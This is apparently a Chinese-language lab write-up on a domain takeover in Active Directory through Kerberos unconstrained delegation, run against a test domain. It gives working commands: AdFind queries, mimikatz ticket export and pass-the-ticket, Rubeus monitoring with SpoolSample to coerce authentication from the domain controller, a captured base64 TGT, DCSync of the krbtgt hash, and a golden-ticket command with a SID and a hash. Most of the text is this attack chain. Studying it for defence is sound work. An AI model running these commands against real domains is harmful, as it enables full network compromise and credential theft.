主机账户:

实验环境
域控——WIN-HJ1H44JL2BW.ice.com 192.168.6.131 win2008
域主机——win7-pc.ice.com 192.168.6.134 可以使用域用户aaa登录 本地管理员win7

域控活动目录里对WIN7-PC这个主机用户进行非约束委派的设置
值得一提的是:Windows系统中,普通用户的属性中没有委派(Delegation)这个选项卡,只有服务账号、主机账号才有
image.png
在WIN7-PC 使用Adfind.exe发现(比较方便)

  1. AdFind.exe -b "DC=ice,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
  2. 发现账户
  3. AdFind.exe -b "DC=ice,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
  4. 发现主机

image.png
配置完毕

管理员主动访问主机+非约束委派获取权限

1、管理员主动访问主机,存留TGT
image.png
image.png
2、win7主机使用mimikatz导出
mimikatz.exe “privilege::debug” “sekurlsa::tickets /export” exit
image.png
3、导入TGT票据使其能够进行访问对应拥有权限可以访问的服务
mimikatz “kerberos::ptt [0;63dfb3]-2-0-60a00000-Administrator@krbtgt-ICE.COM.kirbi” exit
image.png
至此,通过《管理员主动访问主机+非约束委派成功》获取了域管理员的权限

把委派取消后如下,可以看到提取出的TGT少了许多,而这里就少了administrator@WIN-HJ1H44JL2BW.ice.com
image.png

非约束委派获取权限+print bug获取权限

域控——WIN-1uuf7r7srla.iceice.com 192.168.6.132 win2012
域主机——win7-pc.iceice.com 192.168.6.134 可以使用域用户aaa登录 本地管理员win7

不需要目标机器指定访问即可触发,获取到非约束委派的主机账户后(服务账户不行,原因是SMB默认一system权限启动),利用MS-RPRN协议强制域控向主机发起认证后,即可控制域。
特定的准备工具:

  1. 1Rubeus.exe 主要用作监视域控返回的TGT
  2. https://github.com/GhostPack/Rubeus
  3. 2SpoolSample 利用打印服务强制让域控机向主机验证身份 https://github.com/shigophilo/tools-

1、在域主机上进行监听来自WIN-HJ1H44JL2BW(域控) Event ID为4624事件。每隔一秒监听一次来自WIN-HJ1H44JL2BW的登录
命令如下

  1. ms15-051x64.exe "Rubeus.exe monitor /interval:1 /filteruser:win-1uuf7r7srla$"
  2. 需要管理员权限

2、使用spoolsample强制让域控向主机发起请求认证
命令如下

  1. SpoolSample.exe win-1uuf7r7srla win7-pc 使用SpoolSample的是要要注意域控和PC的顺序,可能不一样

3、成功获取到返回的base64凭据
image.png
4、根据其他人的提示,这样之后就可以直接提取出凭据了
image.png+
但是我这里不行,情况与https://xz.aliyun.com/t/8690#toc-60该篇作者一样
image.png
5、我们将监听的到的base64凭据转换成如下格式

  1. doIFbjCCBWqgAwIBBaEDAgEWooIEcTCCBG1hggRpMIIEZaADAgEFoQwbCklDRUlDRS5DT02iHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCklDRUlDRS5DT02jggQtMIIEKaADAgESoQMCAQKiggQbBIIEF4fOHkR+oPQf2Wvy0DXH/L4TKvDik3ee60YxaRnQbmaYyAPbFCZqXAA/lRgStJ3VUu9b7gx+NFHbjcx4PXT4j48jBoMDy3A9RvtLQCowejCYj/4IYbPeqeyWab6HyxbM5qcNC2LX1VM3T7LZqsJhVHOOBcU4k15vfz8VGO06kkHwUBZfrNzXmsbNIymaB/6y05q7WmBGsH5jSX1WByIQLiYoQsoPF5jP6Fv888WAdmhtuDzuJm0yA6yjHMVbEc3RE4bWsgHLhpQI8MrWq2MlJ48SqGi+S3HHZ4YV5PHWo/2Ey2mYUPTSAhOKzGXYAp3per3R98wsQCF5WmZ4l1pjPcHt3Ch+9QBHFylAuhh4g7eVXMBj31ex+Isu0x4Rl1sROlz/y2rtxnyjC83e6LICgxBdtWK0NciYTuZKIOBRzuNBxOTn2w6C8AV6i05nGpp8bqvsE8L5Cy9/RqhM4A/hY8c09LWxZkSiAWQLRGA1x0iEtRClxRbEyby8JSpKmY4y4WHfhOgPfohRHrL5BiwITM6h+Zq7K7AP85/STsUfp/WFPn4wjvggm/Nm9TM2tW0UGL9k+6yNz/waSm7QS1CovhgQFpGiHRlh1Wo46nY3heWMhn0Kbmofo2wjPM/DxnT8I4HjMk7IFkqxvV1KIKOKJKuIcWqrn6cOMZUAhBXpDtP5rpaWb8CMCiyeUZ+z/usdhC7XQzy2H0OqbJA+ZqrKRXnTE+hGnm7jFulFAsYWIIUnYQ7w0ShTxG+RoNx+/PchcdhKAh983jLV/y2Xa5m5FoRi/6tCBaeuk/9lHYw5krevFweKY9bOv39h8hDNS8RCytu3ZtV29mm2wUWvG4xBjGJugAXICUhZe4kOjLC0yBNMO0/XsqOucobU2hQ6eFoUQt/AwQ3+v7l5o9RrJUO2AB1A6Rd/9fgT86R7fRrU5iD5BIV16zgYroC/+/9X8hHr7zzHXeI/h+2XhbNkahcCq87guYFgJcvAQHhMlpyWqhJbO9wd+wTjzQqw2uwXlSMix6ixtOnNrRBmDMwiBJEThRlQC7HDqKpkyTRMgHbqZ1ShxF9ve+/W7n05gS+4ytePg71iyuv2L06wtcczyxfXJepwVybvq+8+rCB0VmPsAf1IzBKChwlq7KHtX7WxNtWC9m0IsFKkTQcCRk+3lF75EndtFwVOtXcIeDi14xcojngFQC/g6/39UtJFsXKeKSIyml5lBaIVzTnwdU0EOTDmnEU1GiY3HLTZE/W8gQmqxE81AwhVXIYTsTD3xQrUcGOj7GvRlywKQ7cyRfezqr4catHxlIIUFeqqxQp8mazGPoWr6JKTRUBWhHVeYD0pphONVLg9ZjvS+qdGcmozBYrqxOW+8EiFd6oFHS2cWPo8StHW9zTe1t2jJ6OB6DCB5aADAgEAooHdBIHafYHXMIHUoIHRMIHOMIHLoCswKaADAgESoSIEIJubvi72q5PFCe8D8ItaozZ1IuVNty8r6Zmq9KnZQ0W7oQwbCklDRUlDRS5DT02iHTAboAMCAQGhFDASGxBXSU4tMVVVRjdSN1NSTEEkowcDBQBgoQAApREYDzIwMjEwNzE0MDExOTM0WqYRGA8yMDIxMDcxNDExMTkzNFqnERgPMjAyMTA3MjEwMTE5MzRaqAwbCklDRUlDRS5DT02pHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCklDRUlDRS5DT00=

image.png

  1. Rubeus.exe ptt /ticket:doIFbjCCBWqgAwIxxxxxxxxxxxxxxxxxxxxbase64....

image.png
image.png
6、此时虽然凭据已经导入了内存中,但是还是无法直接dir访问域控,不急我们使用命令导出Hash一样的
image.png

  1. 使用命令lsadump::dcsync /domain iceice.com /all /csv
  2. 或者lsadump::dcsync /domain iceice.com /user:krbtgt
  3. 当第一条命令失败的时候,可以试一下仅仅只读krbtgt用户,原因是因为mimikatz的一些版本和编译问题导致读取/all /csv 会出现报错而不能成功导出凭据

成功导出krbtgt的ntln hash后,其实就差不多结束了
image.png
image.png
之后就可以制作黄金票据作为后门直接接管域控了

  1. kerberos::golden /admin:Administrator /domain:iceice.com /sid:S-1-5-21-490170319-3814101014-949093152 /krbtgt:31ce71571535557d478e8102cf73eaae /ptt

image.png

PS:1、我使用windows2008作为域控始终监听不到信息,因此换了windows 2012
2、并且只能监听一次,之后就要重启
3、不同mimikatz是一个坑点,在一些命令用不了看能不能换个Mimikatz吧
4、在管理员主动访问主机+非约束委派获取权限的实验中,可以直接dir访问域控,而在这个实验里则失败了(不知道是不是因为域控换了的原因),不急,我们直接使用hash导出krbtgt即可
5、利用链为——》监听域控返回的TGT——》使用spoolsample强制发包——》将返回的TGTbase64使用Rubeus导入内存——》mimikatz dcsync导出凭据——》黄金票据制作拿下域控

服务账户

服务账户和主机账户差不多,区别就在于服务账户为使用SPN服务来进行添加的
在域控上对该账户进行指定(此时该域用户已经转变为服务用户,就不能再直接登录了)
image.png
image.png

将其加入信任委派后,可以通过该命令发现非约束委派的账户

  1. AdFind.exe -b "DC=ice,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

image.png

服务账户的利用和《管理员主动访问主机+非约束委派获取权限》总体类似,主要的区别在于一个是指定的主机用户(计算机层面),一个是指定的账户层面(服务账户不能登录)

这个情况就很多样了,在非约束委派的情况下,服务账户不能使用printer bug来主动触发TGT,因此触发条件较为困难(如果攻击者控制了服务账号B,并诱骗管理员来访问服务A,则可以获取管理员的TGT,进而模拟管理员访问任意服务,即获得管理员权限,但是想要让域控访问服务账户的话,可能是一些服务层面上的访问请求),因此比较鸡肋。
(所以也没看到大家针对服务账户的主动访问复现,复现也比较困难。基本都是从主机账户的层面触发的)

参考文章
https://xz.aliyun.com/t/8690#toc-62
http://www.ttk7.cn/post-137.html
https://xz.aliyun.com/t/7217
https://www.cnblogs.com/Yang34/p/14264356.html
https://blog.csdn.net/a3320315/article/details/106511098